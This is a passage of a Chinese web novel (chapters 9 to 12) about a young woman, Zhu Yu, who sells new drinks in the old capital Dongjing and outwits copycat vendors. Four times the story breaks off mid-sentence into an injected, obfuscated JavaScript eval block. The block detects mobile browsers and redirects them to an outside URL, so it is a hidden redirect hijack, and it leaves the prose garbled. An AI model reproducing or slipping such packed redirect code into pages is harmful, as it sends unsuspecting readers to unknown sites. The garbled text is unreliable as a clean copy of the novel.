将浸泡许久的绿豆捞出、倒入大锅，加满水大火熬煮。 祝余两锅并行，一会儿搅搅酸梅汤，一会儿给绿豆沙加柴。 可真是个累人的活，祝余双手不得闲，搅得手臂微微酸胀，酸梅汤才出了色。 熄了火，祝余把熬的清亮透红的酸梅汤放在一旁冷却，而后一刻不得闲，又开始搅拌煮得软烂的绿豆。 饮子名为绿豆沙，绿豆自然要软烂些。祝余拿起用于搅拌的木棒，将煮得软烂的绿豆挤压捣烂，绿豆迅速出沙。 “呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433255|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ～煮糖水也是个体力活啊！” 祝余捣得浑身是汗，终于将一大锅绿豆捣成沙。接下来就是加入糖块，转小火熬煮了。 比起酸梅汤的配料、步骤，绿豆沙的做法十分简单。这也是祝余第二个饮子选择绿豆沙的原因之一。 祝余的饮子生意方才起步，且十分红火，每日所需的酸梅汤量，就抵得过其他饮子摊大半的量。 新上的饮子为了引流打开市场，试喝、加上售卖的份量也不能少，所以选择简易的绿豆沙最为适合。 至于其他考量……能不能成，就看明日售卖的效果了。 日落西山，红霞满天。 炊烟袅袅，天幕渐暗。 蝉鸣阵阵，星空漫天。 夏日的夜晚总是短暂，随着鸡鸣声起，东京城开启了新一天的热闹。 祝余今日起得早了些，除了新饮子上架、准备工作量增多，她还要做块简易招牌。 在祝余的饮子生意计划中，打造品牌、挂招牌是必不可少的。只不过之前她打算租了铺子时候再做块招牌。 但昨日痦子张的行为给她提了个醒，在这儿，打造品牌可容不得慢慢准备，她需要早做准备，每日铺垫。 幸而祝余才卖了两日，还没有形成固定客流。饶是如此，喝过的客人们提起来，也是说“那小娘子的酸梅汤”。 今后弄了招牌、日日强调品牌，很快就能变成“年年有余酸梅汤”。 没错，祝余给自己的饮子摊取名“年年有余”，并打算当成品牌经营。 现下人们认准的老字号多为某记或某某家。 祝余这饮子摊既无多年积累的口碑，也无背景撑腰宣传，那便不走老字号的路线。 创新的饮子连同新鲜的招牌，走一条快速致富之路！ 祝余弄了块薄木板，而后拿出昨日高价买的一点点红、绿色颜料，混着黑墨水涂涂画画。 粗制滥造的毛笔、最便宜的墨水、昂贵少量的颜料…… 在木板上画出块招牌，在工具有限的情况下，还真不是件容易的事。 幸而祝余要画的招牌并不复杂，且她学过些简笔画。没多久，自制招牌就画好了。 把颜料扇干后，祝余拿出钉子木棒，将这块简易招牌钉在了餐车上。 固定好后，她后退两步，仔细打量。 简单、传神，新颖、吸睛。 完美！ 弄好了招牌，祝余先将昨日熬好的两桶酸梅汤塞进摊车下方的柜子。 接着打开大水缸，捞出晾泡在水中的绿豆沙，放进摊车柜…… 收拾完毕，出摊！ 9. 第 9 章 “茶，热腾腾的散茶，一文一碗，五文一壶咧！” “红薯、新鲜出炉的红薯。” “桂花饮、竹叶饮出锅咧！” “薄荷饮、沉香饮......” “......” 一位衣着干净的农妇站在繁华热闹的东京城内，左右望着各式各样的小摊，瞧花了眼。 “娘子，来碗茶解解渴？” 瞧着农妇一副进城采购累着、需要歇脚的样子，周围卖茶的摊贩开口招呼。 “不了。” 那农妇笑着摇摇头。 她就住在东京城外不远处的村子里，平日里除了打理家中田产，就是帮城中布庄绣花、缝手帕。今日早早进城，除了给布庄交手帕。扯布给家里人做衣裳，还想喝碗饮子。 她虽为城郊农户，但家中田产不少，自己也绣花赚些私房钱，平日里生活还算滋润，每隔几日的进城也都会来碗好吃的面、好喝的饮子。 “紫苏饮、桂花饮......怎的没样新鲜的。” 农妇瞧了圈周围的饮子，觉得有些腻了。 正当她放弃购买，准备出城回家时，瞧见一小娘子推着一辆显眼的摊车经过。 “酸梅汤、绿豆沙？” 农妇被摊车招牌上的画吸引，看着那三两笔勾画出的红润酸梅汤、绵密绿豆沙，她不由得咽了咽口水。 “年年有余饮子铺，第一次瞧见这个饮子铺咧！” 农妇喝过的饮子不少，东京城内有名的、老口味、时兴的她都喝过，这个铺子倒是第一次见，名儿听着就很新奇。 “小娘子，给我来碗酸梅汤。” 农妇朝着祝余走了几步，上前攀谈起来。 东京城内坊市分离，管理严格。 城内多块区域以矮墙隔开，分为住人区——坊，和主商业贸易的市。 坊间也会有零散日用、食品铺子开着，但各行商铺经营多划分在固定几个市内，地摊经营也是如此，由衙门统一管理，禁止城内出现胡乱摆摊、席地售卖的现象。 因违反规定会有罚款，故而百姓和店家们都默认生意在固定的摊位上进行， 祝余没想到出摊途中也会来生意，“娘子，实在是对不住，这儿不准停下来交易，一会儿衙门巡差该来罚钱咯！” 她飞速瞧了眼面前人轻便的打扮，耐心解释道：“我的摊位就在前方东门，娘子可是要往东门去？不若同我走两步。” “害！瞧我这记性，竟忘了买卖的规矩。” 农妇一拍脑门，跟在祝余身旁走着，“实在是小娘子售卖的饮子闻所未闻，瞧着美味可口，招人馋！” “娘子谬赞了，不过我家饮子确实酸甜可口。”祝余也扬声回应，“娘子今儿个赶上了，今日我家新上了款饮子名唤‘绿豆沙’，一会儿第一个给娘子尝！” 农妇：“那感情好啊，小娘子这儿的饮子瞧着就不错......” 这位意外来客很是自来熟，大嗓门让祝余本就吸睛的摊车更为引人注目，还未到地方经营的移动的摊车旁，竟破天荒围了不少人跟着走。 “小娘子，你这饮子摊开在哪儿啊。” “酸梅汤？我听说过，似是十分不错的。” “绿豆沙......” 简笔画产品图很是吸睛，加上祝余忍痛购买了颜料上色，浅浅基层叠加上色，更是将酸梅汤的清亮透红、绿豆汤的绿莹软烂跃然板上。 过往来客瞧见即安利，一路上，祝余的小吃摊收获了许多目光和询问，她也借机宣传了一波。 “是饮子摊，都是东京府最新的饮子。” “摊子固定在东城门南边的集散摊，对，城东衙门那块。” “实物比画上还诱人咧，您得空来摊上喝一碗。” “是，都是两文一碗！” “......” 来到摊位时，祝余身后已经跟着一大群客人，眼巴巴等着她收拾开摊。 祝余的饮子摊第一回遇到这阵仗，到了地方气都没喘匀，便着手收拾。 “客人们来得巧，今儿个有新饮子——绿豆沙，大伙都赏脸尝尝！” 她手脚麻利，很快就摆好了摊子，拿出试喝专用的竹叶杯。 一掀开盖子，绿豆的清香便扑了出来，钻进客人们的鼻腔里。 “这味儿正！” “竟煮得这般软烂，跟粥似的。” “闻着确实不错，不知唱起来如何。” “......” 客人们七嘴八舌谈论着，双眼一刻不离盯着祝余动作的手。 只见她拿出长柄汤勺，伸进绿豆沙中缓缓搅拌，随着勺子搅动，底层沉淀的软烂绿豆浮了起来，汤、沙分离的绿豆沙逐渐混合，成了客人们从未见过的新奇模样。 搅拌均匀后，祝余一手拿勺、一手举杯，舀出第一杯绿豆沙。 “娘子尝尝。”她递给第一个和她搭话的农妇，眼含期待等着她的反馈。 农妇顶着羡慕的目光接过，心中也激动了起来。 “嗯——”绿豆沙一入口，她就忍不住含糊着发出赞叹。 此名为“绿豆沙”的饮子入口细腻绵密，咽下去柔润爽喉。 “好喝！”她砸吧着嘴，感受口腔的清甜和回甘。 成了！ 祝余脸上的笑容多了几分轻松，手中继续分发绿豆沙。 “这口感......如粥一般！” “比粥细腻软烂些，难怪起名为‘绿豆沙’。” “软烂清甜，给我来一碗！” “试喝不过瘾，我也来一碗！” “......” 如果说“酸梅汤”是饮子届的新品种，味道酸甜独特。那么“绿豆沙”便是完全颠覆了百姓们对于饮子的认知。 还有这种饮子！绿豆竟还有这种做法！ 后世甜水的魅力无人能挡，绿豆沙一经出售就得到这么高水平的夸赞，让祝余信心满满。 今后租了铺子，增加奶茶种类，那定是财源滚滚来！ 试喝过的客人们纷纷伸着手要买，祝余第一个接过一路跟来的农妇的钱。 “14文？这位娘子您是要......” 农妇拿出两个水囊，颇有些不好意思，“店家娘子，不知可否能帮我装进水囊中。这味儿太好喝了，我家在城外，想将两种饮子都带回去给家里人尝尝。” “自然可以！”祝余双眼闪光，满口答应。 这可是个好思路啊！ 这时并没有便宜大碗的打包袋或杯子，客人们不管是喝茶还是其他饮子，用都都是店家提供的、反复使用的器皿，打包带走在这个行当几乎不存在。 若像这位客人这般有携带的器皿，那么远在城西甚至是城郊的百姓的能尝到她的饮子。若是能有低成本的打包袋或打包杯，那将能开发更大的客源市场！ 得到灵感，祝余很是激动，对农妇的笑容更甜了几分。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433256|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“客人这两袋要怎么分装？” 农妇经常打包饮子带给家人，对此很有经验。 “劳烦店家娘子俩饮子分装两袋水囊，水囊大致能装三碗。余下的两文钱，我在这儿喝一碗酸梅汤。” “好嘞！” 祝余先给她盛了碗酸梅汤，然后迅速将两种饮子分灌进水囊里。 其他客人看到有人自带水囊，对其能把这新鲜美味的饮子带回家很是羡慕。 方才聊天时知道这儿很受欢迎，每日来早才能买得到，下回赶早定要带个水壶来！ 其他客人化羡慕为食欲，两种饮子都点了尝鲜。 祝余的摊子开张即火爆，正午未至便忙了起来。 这般红火的生意，让周围同是做饮子生意的店家很是眼热。 一来就围了里三层外三成，这不没多久便卖光了？ “瞧这热闹，祝娘子似是又出了新饮子。” “是啊，卖得也这般好，祝余最近活像被饮子仙点化了。” 店家们再馋祝余的客流量，也只能眼巴巴瞧着，谁让自家捣鼓不出新鲜好喝的饮子呢？ “哪来的饮子仙，小丫头片子运气好罢了。” 周边饮子店家众多，有淡然的便有愤愤的。 痦子张望着对面被围得水泄不通的摊子，咬着牙自顾自放狠话，“小小年纪不懂得人情世故，这般张扬吆喝，岂不是把我们的生意都抢了去，以后还想不想再这块儿混了！” 痦子张这话，听得众店家们很是无语。这般红火的生意，大伙是很眼热，不过到底是人自己的本事，他们也认。 痦子张吃相这般难看的，他们也是不屑。 这条街因位置原因，卖饮子茶水的摊点便多了些，不过经过常年的面膜和变动，各家都有各家主推的茶和拿手饮子，东家桂花饮、西家竹叶饮、南家薄荷饮、北家沉香饮......大伙儿生意也是大差不差。 祝余生意好是因为研制出了新的饮子，且味道纯正爽口。若因此便恨上或针对谁，对他们做生意的小老百姓来说，实在是吃饱了撑的。 “她一个小姑娘，左右卖的不是老几样饮子，也不算抢了生意。” 痦子张隔壁摊主听着像是在帮祝余说话，下一秒话头一转，出口的语言又似是而非起来。 “不过，咱们街上喝饮子的人平日里也就这么多，都冲着她去了，咱们便少吃一口了。” 他丝毫不提祝余今早从别处带来的新客，也刻意忽略祝余因生意好而收摊早，并不影响平日里午后方才出现的贩夫走卒。 那人眼看着不少店家陷入思考，他又不怀好意地来了句，“这些饮子新鲜，谁卖都能挣钱。瞧她客人那么多，怕是每日都不够卖咧。” 她忙不过来，客人又想花钱，那便又我们也卖点酸梅汤、绿豆沙，大伙儿有钱一起赚呗。 瞧着不少店家被自己三两句说得蠢蠢欲动，那人内心很是得意。 他才不似痦子张那蠢蛋那般冲动，就算是眼热想仿制祝余的饮子，他也不要做那几个被戳脊梁骨的出头鸟。 酸梅汤、绿豆沙，听起来都不是什么难熬的饮子，放进饮子里熬煮的材料左不过就那十几样，多拿几种配着试试，总能熬出差不多的味儿。 祝余摊前热热闹闹，人忙得是晕头转向。 周围的饮子摊与之相比那是冷冷清清，这巨大的对比冲击，让不少摊主心思都活络了起来。 除了离祝余摊子最近的蒋大娘。 10. 第 10 章 “客人，您的酸梅汤。” 祝余将装着满满酸梅汤的瓷碗递给客人，透亮的汤汁在碗中微微晃动，仿佛散发着丝丝凉意。 卖出最后一碗酸梅汤，祝余放下长勺，揉了揉酸痛的手臂。 小半个时辰一刻不停的忙碌，让她的手腕又酸又胀，但看着空无一物的木桶，心中还是十分满足，累也是值得的！ “来晚了，都卖光了！” 两个书生模样的年轻人匆匆赶来，望着空桶，满脸失望。 其中一位身着月白长衫的书生眼巴巴地望着木桶，对着身旁的好友连连叹气，“早该听你的，不该先绕去劳什子诗会，诗会没去成不说，饮子也没赶上。” 好友脸上也满是遗憾的神情。昨日他偶然喝到这酸梅汤，对于嗜酸甜口的他来说，简直是惊为天人。 那酸甜交织的滋味，在舌尖炸开的瞬间，仿佛将这几日的燥热都被驱散了。 今日他特意拉上好友前来尝试，没想到还是来晚了一步。 他转念一想，也觉得这么新奇好喝的饮子，生意好是应该的，只是心中满是可惜。 俩人本打算就此离去，一抬头看到招牌上那幅栩栩如生的酸梅汤画——清透红润的汤汁在碗中荡漾，看起来格外诱人。 这一看，更觉得错过了万两金，心中的遗憾愈发浓烈。 “这位娘子，请问每日何时出摊，存量几何？” 月白长衫的书生终是不死心，上前两步询问祝余。 祝余将散落在一旁的碗摞起来，“客人，小摊每日约午时前两刻到此处开摊，每日共准备饮子四大桶。” 她的话音刚落，周围未离去的客人不约而同地长叹一声。 “哎哟，这才堪堪至正午，就卖没咯！”一位头戴斗笠的老汉摇着头，满脸惋惜。 “准备的量太少咧？”有人小声嘀咕。 “四大桶，不少咯！”立刻有人反驳。 “店家每日能否多做些？”又有人满怀期待地问道。 一时间，没喝到酸梅汤的客人你一言我一语，那遗憾的模样，仿佛错过了什么天大的宝贝。 面对这架势，祝余笑呵呵地耐心回应：“承蒙各位关照，小摊人手有限，为保证口感和新鲜，做出来的量不会太多。” 她顿了顿，眼中满是真诚，“明日定尽量多多熬制，午时前两刻准时开摊。各位赏脸了，多谢多谢。” 新鲜、量不少、口感保障，听到这番回应，客人们纵使满心遗憾，也不好再说什么。毕竟作为食客，谁都不想为了数量，牺牲了这新奇难得的滋味。 秉持着来都来了的原则，客人们也不打算空着肚子回去。 此刻日头正盛，遗憾的客人们心头烦闷，更加觉得喉中干渴。 “来都来了，酸梅汤、绿豆沙喝不到，别的饮子也是能来一碗的。” 正巧，道路这旁，目之所及除了祝余的小摊，最近的饮子摊便是蒋大娘的。 蒋大娘的摊位上，几个陶瓮整齐摆放着，瓮上用红纸贴着对应的饮子名，陶瓮上头盖着浸了凉水的蓝布，瞧着十分爽口。 “来碗紫苏饮！” 方才那位月白长衫的书生抬手擦了擦额角的汗。 “我要一碗桂花饮！”他同行的好友也凑了过来，扬声喊道。 “好嘞！稍等片刻！” 蒋大娘笑容满面，她掀开陶瓮，木勺舀起透亮的紫苏饮，饮子随着动作晃出涟漪，倒入粗瓷碗时发出清脆的声响。 天降的生意让蒋大娘笑得见牙不见眼，迎接着难得的客流小高峰。 因着周围饮子摊所售饮子种类大差不差，酸梅汤、紫苏饮、桂花酿皆是常见，故而客人们并不扎堆，分散到了各个摊位。 相比之下，离祝余最近的蒋大娘摊位生意还是比较红火，她挥舞着长勺，一会儿舀饮子，一会儿递碗，忙活了好一阵，陶瓮里的饮子肉眼可见地少了小半。 待客人渐渐散去，蒋大娘直起腰，用围裙擦了擦手，朝祝余的摊位走来。 “我也是沾小祝你的光了，这一会儿的功夫，就卖了平日小半天的量咧！”她笑得眼角的皱纹都挤成了一团，语气里满是欢喜。 “蒋大娘哪里的话。”祝余停下手中收拾碗碟的动作，眉眼弯弯。 “你酿桂花饮的手艺方圆十里谁不知道？”说着，她递给蒋大娘一个瓷碗，碗里盛着新研制的饮子——绿豆沙。 “方才忙起来没空招呼，这是我捣鼓的新饮子，给您留了一碗，大娘尝尝看合不合口味。” “哟，怎的还给我留了一份！”蒋大娘眼睛一亮，赶忙用围裙擦了擦手，双手接过碗。她凑近闻了闻，绿豆的清香混着丝丝甜味儿扑鼻而来，“小祝你这闺女太客气咧！” 祝余呵呵笑着：“是蒋大娘你客气！不说远的，就说昨日，您挺身而出、仗义执言，对我这般好，我有啥好吃好喝的想着您一份不是应该的嘛！” 五分真心、五分讨好，祝余的嘴抹了蜜般，哄得蒋大娘直乐呵。 哟！仗义执言、挺身而出。 蒋大娘第一回被人这么文绉绉夸着感谢，觉得浑身别扭、颇不习惯。 祝余这头示好，蒋大娘自觉生意上沾光，还吃人嘴短，便多嘴好心提了句。 “小祝啊，你看你生意这般好，后来的一大帮客人都买不到，何不多做些？” 同是做饮子生意，蒋大娘知道祝余四大桶的量不算少，可也不算多。 若费些时间多熬两桶，也是来得及的，有钱为啥不多赚点？ “大娘，实不相瞒，我这饮子的工序实在不易，想保证口味稳定，需要步步盯着，一刻不得闲。我做的是长久生意，还是一步步慢慢来吧。”祝余掏心窝子般回答，“日后手头松快了，能雇个人便好了。” 说完这几句，祝余不去看周边反应，转头蹲下用剩余的清水冲洗客人用过的碗。 从井里辛苦打上来、大老远拉过来的水，可不能浪费了，她打算将碗洗干净再回去。 祝余知道蒋大娘是好心，但她有自己的考量和打算。 刚才说那番话时，她并没有控制音量，一是为了告诉周围蠢蠢欲动想要放置酸梅汤的店家们，酸梅汤做法不易，若想仿制成她家的口感质量，需要花费大量的时间精力，借此劝退一部分竞争对手。 二则是她确实有意在控制每日售卖的数量，饥饿营销。 新鲜饮子上架与现代奶茶店出新品的性质大差不差，初期使用饥饿营销的手段，最能达到宣传利益最大化的方法不外乎预热吊胃口、限量供应、营造抢购氛围。 宣传预热在信息传播十分不发达的古代东京城，毫无用处；这几日客人们的自发购买热情，远超商家人为营造的抢购气氛，故而也无需营造抢购氛围。 这般排除下来，要想使年年有余饮子铺的广告宣传效益最大化，祝余便要坚持每日的鲜亮供应。 若是在这几日疯狂上货、量大管饱，那么不出半个月，有兴趣的前来尝试的客人们便都能满足。 客人们如今日这般抓心挠肝、念念不忘的现象也不会多见。 如现在这般每日保持限量供应，既能满足一部分慕名而来客人的渴望，也能让抢购喝到的客人们有一种赚到的感觉，甚至还会令其觉得手中的饮子美味加倍。 至于未能如愿尝到的客人，听着喝到人的夸赞，只会更馋，一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433257|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂念着这一口。 如此一来，喝到的、喝不到的都会记挂着年年有余饮子铺新奇美味的饮子。 祝余也能最大限度的利用新鲜饮子横空出世的热度，延长自家饮子铺的长尾效应，保证后续新品上架时，铺子依旧保持着较大的客流量，让后期的新品顺利进入市场并广为人知。 这是祝余的初步计划，下个月租个稳定的铺面，期间再出两三种新饮子。 顺利的话，祝余的饮子铺那时便算是正式站稳脚跟了。 在祝余刷着碗头脑风暴时，蒋大娘瞧着这碗沉底的绿豆沙浓稠如粥，特意寻了个小勺细细品尝。 一勺入口，绵密新奇的口感惊得蒋大娘瞪大了眼，而后一口接一口，根本停不下来！ 一碗绿豆沙到底没多少，蒋大娘几口下肚，很快就见了底，最后的两口，她还是恋恋不舍一点点抿的。 这味儿...... 到底是卖了多年饮子的老手，一碗绿豆沙下肚，蒋大娘就将用料简单的绿豆沙原料吃出了个大概。 与酸梅汤复杂难辨的多股味儿混合不同，蒋大娘喝不出酸梅汤的用料，这碗原汁原味的绿豆沙却是一下吃出来了。 绿豆与糖熬烂，出来的味儿应就是这样。 竟这样简单...... 蒋大娘盯着祝余蹲在地上哼哧哼哧洗碗的背影，一时心中多番滋味。 ‘绿豆沙这般易做，只怕随便来个卖饮子的，都能吃出配方和做法，绿豆沙这饮子的钱，祝余怕是不能一个人赚了。可怜她熬了许久才有了些起色，后续若被抢了生意......’ ‘......唉！人家一年轻小姑娘，脑子怎的就这般灵光，做法简单归简单，我只懂得照着前任的做法，从未想过还能创新，偏生人家就能想出来！’ 祝余不知蒋大娘喝碗绿豆沙喝出了这么多感悟，她把碗洗净倒了水回过身，就看见蒋大娘站在身后出神，面上神情纠结不已。 “大娘，绿豆沙如何，您喜不喜欢这个味儿？” 祝余抬手在蒋大娘面前轻轻晃了晃，“您想什么呢，这么入迷。” “我......”蒋大娘欲言又止，似有什么难言之隐。 祝余：“怎么了，是不合口味吗？” 望着祝余真诚的双眼，蒋大娘深吸了口气，弯腰凑近祝余低声说：“小祝啊，大娘多嘴问一句，你这‘绿豆沙’的用料做法是不是很简单。” “大娘不是打探方子，我是担心你。”蒋大娘生怕祝余误会，嘴皮子不停赶紧补充，“你也知道痦子张之流向来是不要脸的，他们可不会守着约定俗成的规矩，让你自个儿先卖上一个月，等你赚够了再开始卖同类。” 蒋大娘忧心忡忡，“怕是过两日，咱们这条街上就‘绿豆沙’遍地了！” 祝余目光一闪，低下头黯然道：“唉——学便学了。” 祝余嘴上这样说着，看起来对即将到来的冲击毫无办法。 周围竖着耳朵的有心人将这边的动静尽收眼底，连蒙带猜估摸出来俩人的对话。 该走的过场走完，目的达到，祝余迅速收拾好东西扬长而去。 收摊！ 再次看到祝余收获满满潇洒收摊的背影，部分饮子店家心绪浮动，决心今夜回去便将绿豆沙仿制出来，明日他也要赚这个钱。 离了摆摊的区域，祝余一改先前颓废无奈的状态，昂首挺胸迈着大步迅速将摊车推回了家。 放好东西，她又马不停蹄出了门，购买明天要用到的“战斗工具”。 好不容易做出的大蛋糕，我自己还没吃几口，怎能这么轻易让别人分了去？ 咱们明日走着瞧！ 11. 第 11 章 “婶子，菜来咯，快来！” 卖蔬菜的小贩在巷口扯着嗓子朝小巷深处喊。 “来了，来了！” 婶子用洪亮的声音吆喝着回应，未见其人先闻其声。 “给我留把菜花！” 她一手攥着抹布，一手边跑边在围裙上擦水。 “谁的板车放在这，挡住坊门了！” 着急外出的旅人大骂一声，朝碍事的板车啐了一口后快步离去。 “哎哟，谁那么缺德……” 头发花白的老大爷瞪着浑浊的眼睛，叉腰看着横在路中央的木车直跺脚。 “……” 日升日落，新的一天在市井喧嚣里拉开帷幕。 “嘎吱——” 小院门从内推开，祝余拖着一块大木板探出头来。 “蹦！” 她把木板铺在门前的台阶上，抬脚踩了踩。 确保放结实了，祝余转身回院中推出摊车，双手用力一推，前两个车轮越过门槛，而后她咬牙反手拉住车子，让摊车顺着木板缓缓下了台阶。 将木板放回院子，祝余拿着一根长竹竿迈出门，仔细将院门锁好。 “赚钱去咯！” 把竹竿放在车上，祝余推着摊车出摊了。 —— 跛子李，也就是痦子张隔壁摊位的。 这人昨日话里话外煽动，让大伙儿不顾约定俗成的规矩，耍心眼抢祝余的生意。 昨日对面红火的景象，让不少摊主眼红，故而今日跛子李到的时候，发现不少摊位学着挂上了招牌，卖同款绿豆沙，甚至有家招牌上照猫画虎画上了绿豆沙的画。 “绿豆沙好学，你卖两文，我们一文，看你还怎么赚钱！” 午时未至，道上就涌来了不少客人来询问酸梅汤、绿豆沙等饮子。 跛子李早早出摊，为的就是这一刻。 “瞧一瞧看一看咧，新鲜饮子绿豆沙，一碗仅售一文钱咯！” “传言说，城东门这块儿都是新鲜饮子，果真如此。” “酸梅汤、绿豆沙，我听过这两个饮子名。” “这儿居然一整条街都是！” “我先来碗酸梅汤试试。” “哎？我曾听友人说过一名祝娘子的饮子才最为......” “......” 这条街因附近行当原因，小摊多为茶水摊、饮子摊，这也为多数东京城的百姓所知。 客人们来到这条道上时，仰头看着一块块带图的菜单招牌，惊叹连连。 这儿竟形成了此等奇观。 不少慕名而来的百姓左右张望，“怎的不见‘年年有余饮子铺’？” “还没来呢，祝娘子昨日同我们约好了时辰。” “原来如此，那咱们便先瞧瞧别家的吧。” “......” 祝余推着车拐进这条道时，就被眼前这一片人声鼎沸惊到，一颗颗摩肩擦踵的人头，在她眼中成了一个个金光闪闪的金元宝！ 看着道路两旁摊车上一块块各具特色的招牌，祝余心中窃喜，暗暗点头。 同行们都很上道啊！ 对于同行们蠢蠢欲动的跟风之心，祝余早有准备，甚至希望他们能快些行动。 这不，今日形成了新奇有趣又极具特色的“饮子一条街”，类似后世的夜市美食街。 目前这条路上只有大部分饮子摊仿造着弄了招牌，不过祝余相信，其他商家看到招牌发挥的作用之后，也会跟着做。 特色饮子街横空出世，指日可待！ 因招牌仿得相对用心、吆喝卖力，跛子李生意不错。 “您的绿豆沙。” 他在售卖饮子的同时，频频分神注意路口，终于盼到祝余的身影。 看到祝余呆愣的表情，心中得意，昂首挺胸。 “祝余小娘子来了！” 这时不知道谁喊了一嗓子，摊前排队购买的绝大部分客人一窝蜂离开，聚到祝余的摊前。 跛子李不理解为什么自己抄袭的绿豆沙味道大差不差，还比祝余便宜了一文钱，客人们还是毫不犹豫选择了祝余。 同时为自己方才隐隐挑衅祝余的想法羞愤，她似乎不在意他们…… 这个场面，在祝余的意料之中。 前几天，她一直在有意识的强调自己小摊饮子的唯一性，提前做出招牌，给客人们留下品牌印象的种子。 再加上之前痦子张高调抄袭酸梅汤，味道却差得远，反而给祝余的正版酸梅汤打了个广告，强化了“年年有余饮子铺”所买的酸梅汤最正宗、值得多花一文钱喝更好的……在客人们脑中的印象。 再加上新鲜饮子对东京城百姓的冲击，这几天客人们口口相传，祝余饮子铺的名声已经打出去了，街上暴增的客人大都是冲她而来，自然只认准她。 “这画儿跟真的似的！” 一位穿着粗布短打的汉子伸长脖子，眼睛瞪得溜圆。 “酸梅汤红得透亮，看着就解渴！” 一梳着双髻的小姑娘拽着母亲的衣袖：“娘！我要喝那个绿莹莹的！” “... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449812|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...” 等待的客人们将祝余和摊子围得水泄不通。 祝余拿出准备好的长杆，挂起自制广告幡子，一面写着：年年有余饮子铺，另一面写着：喝祝余饮子铺，祝您年年有余！ 广告幡子随风摆动，远处的客人都能看到。 祝余清楚自己小摊的竞争力强，随着街上被吸引来的客人增多，市场蛋糕做大，自家的竞争力依旧很强，生意一定还是最好的。 但没想到这么多，街上大半的客人都围在了自己摊前。 祝余手脚麻利地舀着酸梅汤，汤汁在碗中荡漾，引得客人连连赞叹。 “给我来两碗！” “算我一个！” “......” 铜钱雨点般入账，祝余笑得眉眼弯弯。 “您稍等，马上就好！” “大伙儿往后稍稍，一个个来，都有。” “……” 其他饮子摊主看到客人被祝余抢了去，心中五味杂陈，但又不得不承认祝余新饮子的横空出世，给这条街带来了很多新客人，刚才自己也卖了不少。 其他摊主还没来得及眼红，就发现随着祝余酸梅汤和绿豆沙售罄，扎堆的客人们分散开，居然分流到了各个摊子。 祝余的客人散了后，其他摊主的生意好了起来。 跛子李看着自己摊前突然多出来的客人，有些发愣。 一穿着短襟、车夫打扮的壮汉着他的招牌问：“你这绿豆沙，真和祝娘子的一样吗？” 跛子李张了张嘴，终究没敢再说大话：“差、差不多吧……” 壮汉犹豫了下，还是掏出一文钱：“那来一碗吧，尝尝鲜。” 一整条街的生意都红火不少，本来视祝余为抢客仇人地饮子摊主们，他们手忙脚乱地接客，接待着比往日更多的客人，喜笑颜开。 同时他们心中又隐隐觉得别扭，这样仿佛受了祝余的恩惠。 特别是跛子李，喉咙里卡了刺般难受。 他泄气收回时不时看向祝余的目光。 算了...... 祝余看着眼前的红火，心中的大石头终于落地。 她虽吃了肉，但同行们也喝了汤，应该不会太过眼红她，之后的一段时间，她终于能安心在这里做生意，不怕因太过突出被记恨对付了。 钱袋鼓鼓，收摊！ 祝余一边招呼因迟来未买到而扼腕的客人，一边迅速整理摊车准备回家。 她下午还要去金明池边摆摊呢，那儿近几日有好多场马球会，饮子定十分好卖！ 12. 第 12 章 入了夏，金明池边的草长得十分茂盛，偶有官宦人家牵头举行马球会。 春夏马球会一场接一场，一是为了给各家哥儿、姐儿相看的名头。 二则是为了丰富日常的娱乐活动，松松筋骨。 除了高门显贵、商贾富户，不少东京城内家境不错的人家们，也会来金明池周边凑热闹。 最大最好的那几个场地被皇家园林围起来，独属于皇官贵族。但周边散落的小场子，却是可供百姓使用的，故而也是有不少百姓在金明池边合伙举办马球会。 今年春、夏来得格外早，方才入夏，日头便晒得人直掉汗。 往年这般热时，马球会早成了花会、诗会。 因着今年这烈日，这几日这几场，是今年最后一场大型的马球会了。 这也意味着小摊贩们借着马球会摆摊赚钱的时辰，也就这几日了。 原身因自觉竞争力不强，大老远来到金明池边摆摊费时费力，还卖不过别人，故而今年春天大大小小许多场马球会，从没来这儿摆过摊。 原来的生意抢不过，现在的可以啊！ 